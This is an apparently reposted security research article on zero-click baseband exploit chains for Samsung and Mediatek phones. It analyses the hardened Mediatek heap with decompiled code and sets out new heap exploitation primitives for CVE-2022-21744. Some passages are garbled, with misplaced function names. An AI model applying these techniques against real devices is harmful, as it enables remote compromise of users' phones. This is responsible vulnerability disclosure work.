-->

Full-Chain Attacks: A Look at Baseband Vulnerability Exploits - 1

we have introduced our latest research into full-chain baseband exploits. We have showcased new research tools (our nanoMIPS decompiler, debugger, and emulator for Mediatek basebands) and explored the interconnected components across the Cellular Processor and the Application Processor of Samsung and Mediatek radio interface stacks.

The most serious of vulnerabilities in these interfaces can lead to over-the-air exploitation of the device: zero-click remote code execution not only in the baseband but in the Android runtime as well.

It’s no secret that baseband full-chains of this kind have existed privately and been used in In-The-Wild, as recently documented by the “Predator Files” disclosures, for example.

All told, we have found 17+ vulnerabilities (16 original CVEs received from Samsung and MediaTek following our reports). Taken together, the most critical indeed leads to over-the-air exploitation of Android!

In this series, we provide details of the baseband and baseband-to-AP pivot vulnerabilities, exploitable for remote code execution, chained together at the same time.

Last month, I was finally able to present some of the details of our work at the Hardwear.io conference in Basebanheimer: Now I Am Become Death, the Destroyer of Chains.

In this post (Part 1), we publish the presentation material from Hardwear.io (slides, video), our new TASZK advisories with vulnerability details for 11 out of the 17 vulnerabilities, and a video demonstration of a Samsung Baseband exploit in action.

Impact

According to Google, the first effort to apply exploit mitigations to baseband firmware dates back to 2022:

While that claim may be arguable, it’s certainly the case that competing chipset manufacturers don’t always publicize their own baseband exploit mitigation engineering efforts. So, in and of itself, I think that such a publication is great and I wish more vendors did the same. Either way, whether it was Qualcomm in ~2012, Infineon in ~2018, Huawei in ~2019, Samsung in ~2019, Mediatek in ~2022, or indeed Google in 2022-2023, it’s clear that vendors have definitely started working on baseband exploit mitigations.

With that in mind, we have to analyze the exploitability of individual CVEs if we want to understand their true impact.

Ideally, we could rely on the vendor for this, but sometimes the impact/severity assigned in bulletins is not quite accurate. For example, the Samsung Security Update describes the impact of CVE-2023-41111 and CVE-2023-41112 as “can cause abnormal termination of a phone”.

The rest of this series covers exploitability analysis:

  • The heap implementation changes Mediatek made from Helio to Dimensity and analyzes the exploitability of the Mediatek Baseband RCE vulnerability CVE-2022-21744 using metadata attacks in light of these changes.
  • The Mediatek Baseband Pivot vulnerability CVE-2022-21765 for remote code execution in the Linux Kernel on Dimensity.
  • The advisories for CVE-2023-41111 and CVE-2023-41112 and introduce new baseband heap exploit techniques we have developed for targeting Baseband RCE vulnerabilities like CVE-2023-41111, CVE-2023-41112, CVE-2023-21517, and CVE-2022-21744. Most importantly, it will describe the fully realized Samsung Baseband RCE of our chain.
  • The Samsung Baseband Pivot vulnerabilities CVE-2023-42529, CVE-2023-42528, CVE-2023-42527, and CVE-2023-30739 and discuss their successful exploitation.

If you prefer to skip ahead, check out our Samsung baseband exploit demo video at the end of this post!

Although the Security Updates have now been released, we also take into consideration the fact that Samsung applies monthly updates only to a subset of their supported devices, others get quarterly or bi-quarterly updates instead. (See more about their patching policies here.)

This is the major reason why we have decided to withhold the full details of our work on CVE-2023-41111, CVE-2023-41112, CVE-2023-42529, CVE-2023-42528, CVE-2023-42527, and CVE-2023-30739 for now.

Don’t forget to follow our research blog and our account on the bird site for upcoming updates about vulnerabilities, exploits, and training! :)

Exploit Demo

In the meantime, we are releasing a Proof-of-Concept video of exploiting CVE-2023-41111 and CVE-2023-41112 in the baseband of a Samsung Galaxy S21.

The video doesn’t provide the exact details of the exploit, but it demonstrates successful exploitation using the “Pwn2own classic” payload: we rewrite the device’s IMEI in order to show with the response that the phone sends to a post-exploitation mobile terminated Identity Request that the runtime has been compromised.

If you’ve watched Basebanheimer's talk, you will have noticed that concrete ideas for exploiting CVE-2022-21744, a heap buffer overflow in Mediatek baseband, were omitted from the talk for brevity.

This heap overflow vulnerability has an important limitation: the overwriting value is a pointer to an allocation with attacker-controlled bytes.

In other words, as explained in the talk, we aren’t controlling the bytes we corrupt with directly, we write 4-byte pointer values that each point to an allocation with content controlled by the attacker.

This creates new challenges since the Mediatek heap exploitation techniques that we disclosed in 2022 would not apply directly due to the nature of our overwrite primitive. Still, a primitive like this may still work out if we can find a suitable victim to corrupt on the heap.

A sequential write of pointer values like this can run into issues with but also present new opportunities in, the heap allocator itself. In either case, there weren’t any public suitable techniques, so we had to look for an original solution for this baseband.

In the following, I describe my findings from researching the exploitability of this vulnerability in that context.

Mediatek CVE-2022-21744 Recap

As a quick recap from our previous post, the original Nucleus OS heap implementation had the following basic structure:

  • pool-based allocator (slots are called partitions)
  • partition sizes are powers of 2, so allocation requests are rounded up to 32/64/128/256/512/etc bytes
  • each partition comes with a minimum overhead of 20 bytes: a 16 bytes header and a footer of a partition counter (on 2 bytes) rounded up to integer bitwidth with 0xF2F2
  • the entire heap itself is reserved at a fix location in the firmware memory layout (same address every time); each partition pool for each size is always at the same location, one after the other, with the partition pool descriptor structures always directly in front of the actual pool itself
  • whenever the requested size itself is less than slot size minus 4, after the requested size a F2F2F2F2 repeating guard footer is appended; in other words, with a precise allocation request, these guard bytes are eliminated.


Our last research has highlighted multiple weaknesses of this implementation and explained how to create partition-free list poisoning, partition-to-pool overwrite, and partition-overlap techniques to create allocate-anywhere heap exploitation primitive.

In response, Mediatek has made several changes to the allocator! With Dimensity, we find a modified heap structure and some heap hardening checks added, that were designed to stop the techniques we have described.

Mediatek How2Heap, Whack-a-Mole Edition

New Heap Structure

In an apparent attempt to mitigate attacks against next_available poisoning, the implementation has been modified to eliminate this free list entirely.

Instead, a new structure, the mer pool descriptor has been introduced.

 struct mer_pool_desc_t
      0x0 0x4 struct mer_pool_desc_t *  struct mer_pool_desc_t *  mer_pool  
      0x4 0x4 struct kal_pool_desc_t *  struct kal_pool_desc_t *  pool_desc 
      0x8 0x4 uint  uint  hdr_guard 
      0xc 0x4 void *  void *  int_ctx 
      0x0 0x1 char  char  is_ready  
      0x1 0x1 char  pad    
      0x2 0x2 ushort  pad  
      0x4 0x4 void *  void *  pool_start  
      0x8 0x4 uint  uint  pool_net_slot_size  
      0xc 0x2 ushort  ushort  partition_max_cnt 
      0xe 0x2 ushort  ushort    
      0x10  0x1 char  char  lvl2_size 
      0x11  0x1 char  pad   
      0x12  0x1 char  pad   
      0x13  0x1 char  pad   
      0x14  0x4 uint  uint  lvl1_bitmask  
      0x18  0x80  uint[32]  uint[32]  lvl2_bitmask

For each pool, this structure now maintains a two-level bitmask array, which is used to flip the state of partitions on free/alloc and also to pick the next returned partition when allocating.

Accordingly, both the partition header and the pool descriptor have been modified. The partition header’s first field now points directly at the new mer pool descriptor instead of a next_available partition, and similarly, the pool descriptor now has a completely new format which starts with a pointer to the corresponding mer_pool_desc_t instead of the (previously unused anyway) previous and next pool pointers.

struct kal_buffer_header_t
  0x0 0x4 struct mer_pool_desc_t *  struct mer_pool_desc_t *  mer_pool  
  0x4 0x4 struct kal_pool_desc_t *  struct kal_pool_desc_t *  pool_desc 
  0x8 0x4 uint  uint  hdr_guard 
  0xc 0x4 void *  void *  int_ctx


 struct kal_pool_desc_t
  0x0 0x4 struct mer_pool_desc_t *  struct mer_pool_desc_t *  mer_pool_ptr  
  0x4 0x4 uint  uint  pool_size 
  0x8 0x4 struct kal_pool_stat_t *  struct kal_pool_stat_t *  pool_stat_mb  
  0xc 0x2 ushort  ushort    
  0xe 0x2 ushort  ushort  num_buffs

For example, here is a screenshot from Ghidra showing the tail of the final partition for a 32-size pool, the pool descriptor for a 64-size pool, and the head of the latter partition. These images are real memory snapshots generated at runtime from our custom Mediatek baseband debugger.





As we can see, the pool descriptors are still inline, but the new mer_pool_desc_t is not stored inline on the heap.

The creation of the pools and the mer pool descriptor array can be observed in kal_os_allocate_buffer_pool, which shows that the memory is reserved for the pools with the “backend allocator” of Nucleus, kal_sys_mem_alloc.

struct kal_buff_pool_info_t
0x0 0x4 struct kal_pool_desc_t *  struct kal_pool_desc_t *  pool_ptr  
0x4 0x4 uint  uint  pool_size 
0x8 0x2 ushort  ushort  partition_cnt 
0xa 0x2 ushort  ushort    
0xc 0x4 uint  uint    
struct kal_pool_size_info_t
0x0 0x4 struct kal_pool_desc_t *  struct kal_pool_desc_t *  pool_ptr  
0x4 0x4 void *  void *  pool_start  
0x8 0x4 void *  void *  pool_end  

The structures required for pool management are implemented through some global arrays, in particular kal_buff_pool_info_tthe type, which records the starting position, partition size and buffer number information for all regular pools, and also kal_pool_size_info_tthe type.

While the existence of two such arrays may seem confusing at first, their purpose is explained in detail below one array is used to select a suitable pool for allocation, and the other is used to verify the correctness of the selected address.

New Heap Algorithm

The heap is still used by get_ctrl_buffer_ext()and free_ctrl_buffer_ext(). However, the allocation process of buffers in the heap and its crucial sanity checks have changed.

When allocating buffers, the API mainly get_int_ctrl_buffer()operates based on. In this process, the initial step of selecting the pool to service the request is the same as before, which is achieved by traversing the array of pool information structures.

Once a request-sized pool is selected, a buffer is found __kal_get_buffer()by calling Return, and then a series of checks are performed to verify the validity and safety of the returned buffer via and .kal_os_allocate_buffer()__kal_get_buff_num()kal_update_buff_header_footer()

void * get_int_ctrl_buffer(uint size,uint fileId,undefined4 lineNum,undefined caller_addr)

{
  int idx;
  uint module_id;
  void *buff;
  void *pool_ptr;
  struct kal_pool_desc_t *pool_desc;
  struct kal_buff_pool_info_t *pPool;

  if (size != 0) {
    pPool = g_gen_pool_info;
    idx = 0;
    do {
                    /* note: using pool_size here makes sense because pool_size is the
                       "net_slot_size", without the +8+8+4. Therefore, if the alloc request size
                       fits, it fits, quite simply. */
      if (size <= pPool->pool_size) {
        pool_desc = g_gen_pool_info[idx].pool_ptr;
        if (pool_desc != (struct kal_pool_desc_t *)0x0) {
          module_id = stack_get_active_module_id();
          buff = (void *)kal_get_buffer(pool_desc,module_id,size,fileId,lineNum);
          return buff;
        }
        break;
      }
      idx = idx + 1;
      pPool = pPool + 1;
    } while (idx != 0xd);
  }
  do {
    trap(1);
  } while( true );
}
void * kal_get_buffer(struct kal_pool_desc_t *pool_desc,undefined4 module_id,uint size,int file,
                     undefined4 line)

{
  uint ret;
  uint int_context;
  uint buff_num;
  int extraout_a0;
  struct kal_pool_stat_t *psVar1;
  void *new_alloc;

  new_alloc = (void *)0x0;
  if ((pool_desc != (struct kal_pool_desc_t *)0x0) &&
     (ret = kal_os_allocate_buffer(pool_desc,(int *)&new_alloc,size,file,line), ret == 0)) {
                    /* add +8 for headers -> there are 4 dword headers in total,
                       kal_os_allocate_buffer skips 2 of them already */
    new_alloc = (void *)((int)new_alloc + 8);
    int_context = kal_get_internal_context();

    if (pool_desc == *(struct kal_pool_desc_t **)((int)new_alloc + -0xc)) {

      buff_num = __kal_get_buff_num(new_alloc,(short *)0x0);

      kal_update_buff_header_footer(pool_desc,new_alloc,int_context,size,buff_num);
      psVar1 = pool_desc->pool_stat_mb;
      psVar1->buff_stat[buff_num].field0_0x0 = int_context | 1;
      kal_atomic_update_return(&psVar1->curr_allocated,1,0xffffffff);
      kal_atomic_sig(&psVar1->max_allocated,extraout_a0 + 1);
      kal_atomic_sig(&psVar1->max_req_size,size);
      if (file != 0) {
        kal_debug_update_buff_history
                  ((struct kal_buffer_header_t *)new_alloc,int_context,1,size,file,line,
                   (undefined2)module_id,UserTraceData,(char)buff_num);
        return new_alloc;
      }
    }
  }
  do {
    trap(1);
  } while( true );
}

kal_os_allocate_buffer()Functions are now basically just a wrapper around the new "mer" heap implementation, which means calling mer_service_fixmem_alloc_blk(). Here, the "mer" structure is mer_pool_ptrobtained from the field of the descriptor of the selected pool.

As expected for a pool-based heap, the actual algorithm uses a two-level bitmap array to select the first available slot. Note that this introduces a key algorithm change: previously the pool was allocated starting at the tail, but now the bitmap is filled starting at the head to support contiguous allocations.

void* mer_service_fixmem_alloc_blk
          (struct mer_pool_desc_t *mer_pool,int *out_buffer,uint size_3,uint fileId,uint lineNum)

{
  void* ret;
  uint lvl2_slot;
  uint new_lvl2_bitmask;
  uint uVar1;
  uint array_idx;
  uint uVar2;

  ret = 0xfffffffd;
  if ((mer_pool->is_ready != '\0') && (ret = 0xfffffffc, mer_pool->pool_start != (void *)0x0)) {
    mer_kernel_lock_take((int *)&DAT_249fb620);
    uVar2 = mer_pool->lvl1_bitmask;
    ret = 0xfffffffb;
    uVar1 = reverse_all_bits(~uVar2);
    array_idx = countLeadingZeros(uVar1);
    if ((array_idx & 0xff) < (uint)(int)mer_pool->lvl2_size) {
      ret = reverse_all_bits(~mer_pool->lvl2_bitmask[array_idx]);
      lvl2_slot = countLeadingZeros(ret);
      new_lvl2_bitmask = 1 << (lvl2_slot & 0x1f) | mer_pool->lvl2_bitmask[array_idx];
      *out_buffer = (int)((int)mer_pool->pool_start +
                         mer_pool->pool_net_slot_size * (array_idx * 0x20 + lvl2_slot));
      mer_pool->lvl2_bitmask[array_idx] = new_lvl2_bitmask;
      if (new_lvl2_bitmask == 0xffffffff) {
        mer_pool->lvl1_bitmask = 1 << (array_idx & 0x1f) | uVar2;
      }
      mer_kernel_lock_release_with_ei((undefined4 *)&DAT_249fb620);
      ret = 0;
    }
  }
  return ret;
}

For free operations, free_ctrl_buffer_ext()is kal_release_buffer()a direct wrapper for , which also validates the buffer to be freed. Use kal_get_num, kal_is_valid_buff(), and if the allocation does not take up the entire partition size, kal_debug_validate_buff_footer()verify the additional fill protection value with.

void kal_release_buffer(struct kal_buffer_header_t *address,undefined2 param_2,int file_name,
                       undefined4 line)

{
  uint buff_slot_id;
  uint internal_context;
  uint ret;
  struct kal_pool_desc_t *pool_desc;
  ushort pool_idx;
  struct kal_buff_history_node history_node;

  pool_idx = 0xfeee;
  if (address != (struct kal_buffer_header_t *)0x0) {
                    /* this verifies that the address actually falls into one of the correct pools
                        */
    buff_slot_id = __kal_get_buff_num(address,(short *)&pool_idx);
                    /* verifies:
                       * partition pool_ptr points to right pool
                       * header guard check
                       * paritition is within pool boundaries
                       * footer guard check (including correct slot for address)

                       ONCE AGAIN: no checking on the partition's mer pointer - but it is used in
                       the end!!! */
    kal_is_valid_buffer(address,buff_slot_id);
    pool_desc = address[-1].pool_desc;
    kal_atomic_update(&pool_desc->pool_stat_mb->curr_allocated,-1,0xffffffff);
    internal_context = kal_get_internal_context();
    pool_desc->pool_stat_mb->buff_stat[buff_slot_id].field0_0x0 = internal_context;
    __kal_debug_get_last_history_node(address,&history_node,(uint)pool_idx,buff_slot_id);
                    /* 

                       this check verifies that this is a block that was last allocated, not freed
                        */
    if (history_node.is_alloc == '\x01') {
      if (history_node.size + 4 <= pool_desc->pool_size) {
                    /* the actual size request is not in the partition header anywhere, so it can
                       only be taken from the history node. with that the potential additional
                       padding footer guard values can be verified correctly. */
        kal_debug_validate_buff_footer(address,&history_node);
      }
      if (file_name != 0) {
        kal_debug_update_buff_history
                  (address,internal_context,0,history_node.size,file_name,line,param_2,UserTraceData
                   ,(char)buff_slot_id);
                    /* check the is_alloced bit */
        if ((address[-1].hdr_guard >> 1 & 1) != 0) {
                    /* Sets whole buffer to "FREE" */
          kal_set_free_pattern(address,pool_desc->pool_size);
                    /* sets the is_alloced bit */
          address[-1].hdr_guard = address[-1].hdr_guard & 0xfffffffd;
        }
        ret = kal_os_deallocate_buffer((int)&address[-1].hdr_guard);
        if (ret == 0) {
          return;
        }
      }
    }
  }
  do {
    trap(1);
  } while( true );
}


If the check confirms that there are no errors, we use kal_os_deallocate_buffer()to actually release the algorithm partition. This method is actually a wrapper around the new "mer" heap algorithm, mer_service_fixmem_free_blk()provided by. On release, the function "simply" flips the necessary bits of the "mer" structure bitmap as expected. To find the "mer" structure in use, this algorithm gets the pointer from the partition header.

uint mer_service_fixmem_free_blk(struct mer_pool_desc_t *mer_pool,int blk_address)

{
  uint uVar1;
  uint slot_id;
  uint array_field;

  slot_id = (uint)(blk_address - (int)mer_pool->pool_start) / mer_pool->pool_net_slot_size;
  mer_kernel_lock_take((int *)&DAT_249fb620);
  uVar1 = slot_id >> 5;
  array_field = uVar1 & 0xff;
  mer_pool->lvl1_bitmask = mer_pool->lvl1_bitmask & ~(1 << (uVar1 & 0x1f));
  mer_pool->lvl2_bitmask[array_field] =
       ~(1 << (slot_id & 0x1f)) & mer_pool->lvl2_bitmask[array_field];
  mer_kernel_lock_release_with_ei((undefined4 *)&DAT_249fb620);
  return 0;
}

New Plausibility Check

The first important change to mention is the removal of the partition's free list, which effectively prevents free list hijacking attacks.

Second, kal_os_allocate_buffer()after the selected partition is returned, its inline pool descriptor pointer is verified to ensure that it points to get_int_ctrl_buffer()the same pool descriptor selected by, which means that we cannot simply manipulate the allocation process to return one from another pool. Legal partition.

Next, we __kal_get_buff_num()added a new check-in. This measure is crucial in order to mitigate the arbitrary allocation primitives we built in the previous article.

This function not only calculates the partition slot ID of the selected buffer (using the formula) ((int)buff_addr - (int)pool_start) / ((g_poolSizeInfo[idx].pool_ptr)->pool_size + 20), but also before performing this operation, which uses a global array g_poolSizeInfoto verify that the address of the selected buffer falls within the range of any valid pool.

Finally, kal_update_buff_header_footer()the call verifies the head and tail guard values. These values ​​are known but include the partition ID at the end and are therefore different for each (valid) partition.

Obviously, these checks are intended to ensure that we cannot manipulate the allocator to return a buffer that is unaligned or outside the legal pool.

On the other hand, when releasing the buffer, we first __kal_get_buff_num()calculate the buffer number again, which already ensures that we cannot release an address that is completely outside the pool range.

Thereafter, calls kal_is_valid_buffer()are made to verify the plausibility of the buffer. Once the verification is passed, instead of traversing the global array to find the pool descriptor pointer of the appropriate size, it is obtained directly from the buffer header.

This structure was dereferenced several times, including a double dereference to write fields like pool_desc->pool_stat_mb->curr_allocatedand pool_desc->pool_stat_mb->buff_stat, so an unvalidated pool descriptor pointer in the freed header would result in an arbitrary address write.

kal_is_valid_buffer()This is handled because here the pool descriptor list is traversed until an address identical to the one in the header is found (aborting on the failure of a match). In addition to this match, the function also checks the correctness of the head and tail guard values, as shown in the allocation path.

This is not the end of the check, as there is another mechanism at play: the ring buffer of heap events. While this may look like it's just for debugging purposes, it's actually used here as a sanity check as well.

In MediaTek's case, these ring buffers are not for the entire heap, but for each partition. The history array for each pool is stored in (g_poolSizeInfo[pool_idx].pool_ptr)->pool_stat_mb->buff_stat, with elements of type struct kal_buff_history_desc_t.

Each history descriptor corresponds to a partition slot, so the history array uses calculated __kal_get_buff_num() to access history[buff_num]. Each element contains a 3-slot ring buffer containing heap event nodes of type struct kal_buff_history_node.

0x0 0x4 uint  uint  context_id  
0x4 0x1 char  char  is_alloc  
0x5 0x1 char char   pad   
0x6 0x2 short short module_id 
0x8 0x4 uint  uint  file  
0xc 0x4 uint  uint  line  
0x10  0x4 uint  uint  size  
0x14  0x4 uint  uint  ts  

As we have seen, this approach allows the algorithm to check if the last event on a partition was an allocation and retrieve the requested allocation size. If the check fails, the heap will perform an abort operation. If passed, the padding bytes will be further checked to see if they conform to the correct protection mode, in case there is a need for padding.

Finally, check the "is_alloced" flag in the partition header guard field. If this flag is not set correctly, the system will take no action. Conversely, if the flag is set correctly, it will be inverted and the entire buffer will be marked as "FREE" mode.

To sum up, a valid partition should meet the following conditions:

  • Located in the pool corresponding to the request size.
  • Contains 4 bytes of the correct buffer, 0xcpool_desc.
  • Contains 4 bytes which must be 0xf1f1f1fX.
  • Contains 4 bytes that must be 0xNNNNf2f2, where NNNN is the calculated buffer number + pool_desc->pool_size.
  • If it is intended to be freed, its last partition history node is used as the allocation.
  • If free is intended and there are padding bytes, the padding part has the correct 0xf2f2 pattern.

It should be noted that failure of any of these checks will cause an abort (trap(1)) to occur.

New Vulnerabilities

After these detailed steps, let's discuss new vulnerabilities targeting the heap.

Although it completely eliminates the free list at the partition head and adds a series of new checks, the changes implemented by "mer" have a fatal weakness: the pointers to the partition head and pool descriptor are not obtained during the allocation or deallocation process. Proper validation, ie mer_pool_desc_t.

The severity of this vulnerability is that in both structures, these fields are defined first:

struct kal_buffer_header_t
0x0 0x4 struct mer_pool_desc_t *  struct mer_pool_desc_t *  mer_pool  
(...)
struct kal_pool_desc_t
0x0 0x4 struct mer_pool_desc_t *  struct mer_pool_desc_t *  mer_pool_ptr  
(...)

In other words, kal_update_buff_header_footer()the check of the header guard fields in is incomplete. While it attempts to verify the other bits of the guard value, it simply masks the last nibble containing the bit in use.

void kal_update_buff_header_footer
               (struct kal_pool_desc_t *pool_desc,struct kal_buffer_header_t *new_buffer,
               void *int_context,int size,int buff_num)

{
  void *end_of_chunk;

  /* Masks the in_use bit away */
  if ((new_buffer[-1].hdr_guard & 0xfffffff0) == 0xf1f1f1f0) {
    new_buffer[-1].int_ctx = int_context;

    if (*(uint *)((int)&new_buffer->mer_pool + pool_desc->pool_size) == (buff_num << 0x10 | 0xf2f2U)
       ) {
      if (size + 4U <= pool_desc->pool_size) {
        end_of_chunk = (void *)((int)&new_buffer->mer_pool + size);
        *(undefined *)end_of_chunk = 0xf2;
        *(undefined *)((int)end_of_chunk + 1) = 0xf2;
        *(undefined *)((int)end_of_chunk + 2) = 0xf2;
        *(undefined *)((int)end_of_chunk + 3) = 0xf2;
      }
      return;
    }
  }
  do {
    trap(1);
  } while( true );
}

With these observations, I came up with a number of ways to create new heap utilization primitives.

Bitflip-What-Where

If we perform an overwrite operation on a free partition, it is possible to destroy the mer pool descriptor pointer to which it belongs. In this case, if the pointer is changed, bitmap operations on its fields become unconstrained "Bitflip-What-Where" operations because there are no constraints or checks on the location pointed by the pointer.

uint mer_service_fixmem_free_blk(struct mer_pool_desc_t *mer_pool,int blk_address)

{
  uint uVar1;
  uint slot_id;
  uint array_field;

  slot_id = (uint)(blk_address - (int)mer_pool->pool_start) / mer_pool->pool_net_slot_size;
  mer_kernel_lock_take((int *)&DAT_249fb620);
  uVar1 = slot_id >> 5;
  array_field = uVar1 & 0xff;
                    /* 
                       bit flips at an arbitrary address */
  mer_pool->lvl1_bitmask = mer_pool->lvl1_bitmask & ~(1 << (uVar1 & 0x1f));
  mer_pool->lvl2_bitmask[array_field] =
       ~(1 << (slot_id & 0x1f)) & mer_pool->lvl2_bitmask[array_field];
  mer_kernel_lock_release_with_ei((undefined4 *)&DAT_249fb620);
  return 0;
}

Fortunately, the other steps of the release algorithm do not depend on the mer pointer field of the partition being released. Therefore, even if this bit flip occurs, it will not have any other side effects and the release operation will still execute successfully.

Corrupted mer pointers may cause problems if the same partition is allocated again. But with proper heap shaping, we can avoid this from happening, because the allocation algorithm prioritizes free time slots instead of last-in-first-out (LIFO).

This is a very powerful feature because it constitutes an arbitrary bit flip primitive.

But in our specific case, this general technique does not apply to the CVE we are studying, since we cannot write arbitrary pointer values. If we corrupt the mer pointer of an adjacent partition via a heap overflow, we can only produce bit flips within or adjacent to the PNCD buffer allocation.

Nonetheless, this technique is not completely worthless: since the PNCD heap allocation pointed to by the overflow pointer is 0x1C bytes long, we can control all fields of the mer structure, all the way down to the second-level bitmap. Next, we can make this bitmap array overlap with adjacent allocations. In other words, this primitive allows us to perform arbitrarily selected bit flips within an allocation in a minimum size (0x20) pool.

struct mer_pool_desc_t
0x0 0x4 struct mer_pool_desc_t *  struct mer_pool_desc_t *  mer_pool  
0x4 0x4 struct kal_pool_desc_t *  struct kal_pool_desc_t *  pool_desc 
0x8 0x4 uint  uint  hdr_guard 
0xc 0x4 void *  void *  int_ctx 
0x0 0x1 char  char  is_ready  
0x1 0x1 char  pad    
0x2 0x2 ushort  pad  
0x4 0x4 void *  void *  pool_start  
0x8 0x4 uint  uint  pool_net_slot_size  
0xc 0x2 ushort  ushort  partition_max_cnt 
0xe 0x2 ushort  ushort    
0x10  0x1 char  char  lvl2_size 
0x11  0x1 char  pad   
0x12  0x1 char  pad   
0x13  0x1 char  pad   
0x14  0x4 uint  uint  lvl1_bitmask  
0x18  0x80  uint[32]  uint[32]  lvl2_bitmask

In fact, due to the flexibility of PNCD overflow, we can cause overflow on multiple adjacent allocated partitions. This means that in a 32-byte-sized pool, flipping multiple specified bits is possible, but it's definitely not as robust as in a fully controlled overflow of written bytes.

If we look at the heap allocation side of the attack technique it's easy to see that the same "corrupt mer pointer to get arbitrary bit flips" trick works here, but with a few differences:

  • First, unlike the free path, the mer structure pointer at allocation time is obtained from the pool descriptor, so an overflow requires destroying the descriptor of the adjacent pool, not just the descriptor of the adjacent partition. This is now easier to implement since the pool is filled from the beginning. Especially with the spray primitive, we can ensure that the buffer overflow only goes into the free "unowned zone" partition until it reaches the end and destroys the next pool's descriptor.
  • Second, unlike the deallocation case, the bit flip that occurs in the allocation case has, of course, a huge side effect: it immediately returns an (arbitrary) value as the selected buffer and may cause an abort.

Arbitrarily Allocated Returns

This section discusses how to exploit this bitflip primitive in general.

In fact, we don't have to find a suitable victim outside the heap. If we g_poolSizeInfoflip a pool boundary value in the array, we can bypass the check designed to prevent the "allocate anywhere" pattern.

Subsequent partition frees that trigger the same overflow are then subverted and can now point to a mer structure that is fully controlled by the attacker, and enable the return of a freely chosen address.

Of course, because the extra allocation checks verify the head and tail guard values, we can't force an arbitrary address to be the returned allocation buffer, but there are still plenty of opportunities on the stack and in global memory where we can control the proximity of some of the ones we want. The value of the target. Allocation sizes go up into the thousands, so the definition of "nearby" isn't that strict.

Return of unaligned allocation

This attack does not require additional control over the value, and the previous "unaligned allocation" attack can be restored if we have sufficient control over the written value, but this requires a more powerful overflow primitive.

Although it doesn't fit this CVE, as a thought exercise I made the following observations:

Overflowing beyond the pool descriptor boundary and corrupting the pool's size field can manipulate the calculated buff_numto any value.

Controlling not only a pool's mer pointer, but also a (valid or fake) partition's pool descriptor pointer and guard value, we can make any partition different from the pool intended for the size request, or a different partition within a partition. Aligned locations are accepted as valid partitions.

These methods are all feasible and could allow an attacker to compromise other live allocated data, but this does require better control over the override value than this CVE. There is a simpler and more powerful way to take over other allocations.

Double Arbitrary Allocation

As I have described, for the allocation case, if we want to corrupt the mer descriptor pointer, we have to overwrite the descriptor of the adjacent pool.

Again, due to the first-free-slot nature of the pool selection algorithm now, and the fact that this pointer is the first field of the pool descriptor, this is a practical attack on our CVE's corrupted primitive.

On the other hand, we need the fake mer pool descriptor (i.e. the data allocated by our registered PNCD) to return the actual valid partition, otherwise, subsequent checks will abort.

We also observe that the "allocated" bit is ignored, which means that by fully controlling all values ​​of the mer descriptor (including the first-level bitmap), we can return a fully legal partition that is actually busy.

Finally, we have a nearly perfect UAF primitive. We can now choose to go into the allocation of any adjacent pool and create a situation where we can allocate.

Victim Distribution

We have now crafted a powerful and versatile attack primitive from a limited-controlled heap overflow. In this way we can take over any allocated partition in the target pool, in other words, we can create a strong UAF equivalent for any allocation that falls into a given pool.

At this stage, I spent a lot of time looking for victims used in CVE-related pool classes.

Finding a suitable victim in MediaTek baseband is not easy for several reasons:

The 2G code base is written in C and does not provide a convenient target for C++ virtual class object instances;

The vast majority of task context descriptor structure instances do not exist in the heap;

The traditional target of event or timer objects also no longer applies: although their structural layout makes them ideal targets, they are allocated in their own separate pools, unlike the "standard" list for each size pool. Since all pool allocations are done at initialization time and cannot be changed, a "cross-cache" approach won't work.

Nonetheless, I eventually found suitable heap shaping and victim allocation options. In a later section, I will share how victim assignment is determined.


Source :- https://labs.taszk.io/articles/post/full_chain_bb_part1/